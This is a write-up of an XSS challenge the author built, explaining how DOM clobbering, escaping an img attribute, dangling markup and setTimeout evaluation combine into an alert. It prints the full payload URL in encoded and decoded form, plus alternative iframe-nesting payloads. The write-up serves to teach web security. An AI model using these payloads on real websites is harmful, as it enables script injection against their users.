Clobbering the clobbered vol. 2
In my previous write-up about DOM Clobbering, I presented a solution to an XSS challenge that involved overriding a CONFIG variable via the mentioned technique. I recommend checking the article out since I will not be explaining the basics of the method but rather diving deeper into different but helpful techniques.
The challenge
In the challenge that I posted on Twitter recently, a simple one-page website was given. The goal was clear — pop out an alert on easyxss.terjanq.me domain.
Three main functionalities were embedded into the website:
- Displaying sanitized by DOMPurify HTML code via
?safe=html_code
parameter. - Embedding user’s unsafe code in iframes with src pointing to sandbox.terjanq.me domain via
?safe=<iframe>unsafe</iframe>
parameter. - Loading custom image src via
?img=cats.gif
paramater. - Displaying randomly created session string when certain conditions are met:
if (is_trusted() && url.searchParams.get('show_session') != null) { setTimeout(window.show_session, 1000);
}
Full code of the challenge:
Content-Security-Policy
CSP was set to script-src ‘nonce-1337’ ‘unsafe-eval’; frame-src ‘self’ sandbox.terjanq.me
.
- The first one means that no inline events like
onclick
can be executed and scripts to be executed must include thenonce=1337
attribute. - The latter means that iframes can only be included in
easyxss.terjanq.me
andsandbox.terjanq.me
domains.
Rest of the CSP rules did not have a deeper meaning rather than making sure that only the above conditions are met.
Vulnerabilities
Although the challenge seemed to be ultra-compact each line had its own purpose meaning that you could find a lot of vulnerabilities in the challenge. All vulnerabilities I know of are listed below:
- DOM Clobbering through DOMPurify sanitizer
document.write(safe_dom.innerHTML)
. - Escaping the
src=
context in the<img>
via"
character. - Clobbering document variables through
name=variable
in the<img>
. - Dangling markup in
<img>
allows invalidating/* config.js */
script. - Scripts were split into smaller pieces on purpose — it’s easier to invalidate unwanted parts of the code, like in the example above.
- It’s not widely known but
setTimeout
works like eval, thereforesetTimeout(“alert(1)”)
pops out an alert. - In the
/* trusted.js */
script it’s possible to makewindow.show_session
undefined vianame=cookie
in the<img>
while preserving the functionis_trusted()
defined. - The function
contains()
is unsafely coded allowing many bypasses, e.g.'undefined in window'
returns true. - Nested objects can be clobbered using stacked iframes.
- *
document.cookie
can be overridden from sandbox.terjanq.me. - * When a page is loaded in an iframe,
sandbox
andallow
can invalidate some parts of the code.
* unintended vulnerabilities but were not leading towards a solution.
The solution
Let’s start with the solution https://easyxss.terjanq.me/?show_session=&img=cats.gif%22name=cookie+x=%27&safe=%3Ca%20id=show_session%20href=cid:alert(/1337/)%3E%3C/a%3E%3Ciframe%3E%3Cscript%3Ewindow.name%3D%22CONFIG%22%3Blocation%3D%27%2F%2Feasyxss.terjanq.me%3Fsafe%3D%3Cform%20id%3Dtrusted%20name%3Duser%3E%3Cimg%20id%3Dreferer%20name%3Dreferers%3E%3Cimg%20name%3Dreferers%3E%27%3C%2Fscript%3E%3C%2Fiframe%3E that works on both Chrome and Firefox. This solution uses a trick presented by @shafigullin.
The decoded version looks like:
https://easyxss.terjanq.me/?
show_session=
&img=cats.gif"name=cookie x='
&safe=
<a id=show_session href=cid:alert(/1337/)></a>
<iframe>
<script>window.name="CONFIG";location="//easyxss.terjanq.me?safe=
<form id=trusted name=user>
<img id=referer name=referers>
<img name=referers>
"</script>
</iframe>
The above URL takes advantage of 9 vulnerabilities which I will explain step-by-step:
- Escaping the
<img>
context with"
character in&img=
, overridingdocument.cookie
vianame=cookie
and therefore making the functionshow_session
undefined while preservingis_trusted
in its original form due to hoisting. - Invalidating the
/* config.js */
script through markup dangling inx='
and therefore makingwindow.CONFIG
undefined. - Defining
window.show_session
through<a id=show_session href=cid:alert(/1337/)></a>
element. It will pop out an alert in thesetTimeout(show_session)
function. - Inserting an iframe on easyxss.terjanq.me with name
CONFIG
. This will create thewindow.CONFIG
reference to the iframe, thereforeCONFIG.trusted.referers
andCONFIG.user.referer
will both return the same element<img id=referer name=referers>
and passis_trusted
check. - Bypassing
contains
function with the code below as mentioned in 4.
<form id=trusted name=user>
<img id=referer name=referers>
<img name=referers>
It’s worth to note that 5. can be done in different ways as well:
<!-- this is only a draft how to construct objects, name will be stripped and needs to be defined through <script>name="CONFIG"</script> inside iframe -->
<iframe name=CONFIG>
<iframe name="user">
<a id="referer">
<a id="username">
</iframe>
<iframe name="trusted">
<a name="referers">
<a name="referers">
</iframe>
</iframe>
and
<!-- this is only a draft how to construct objects, name will be stripped and needs to be defined through <script>name="CONFIG"</script> inside iframe -->
<iframe name=CONFIG>
<iframe name="user"></iframe>
<iframe name="trusted">
<iframe name="referers">
</iframe>
</iframe>
The first one was my initial solution and works only on Chrome while the latter works on both Chrome and Firefox.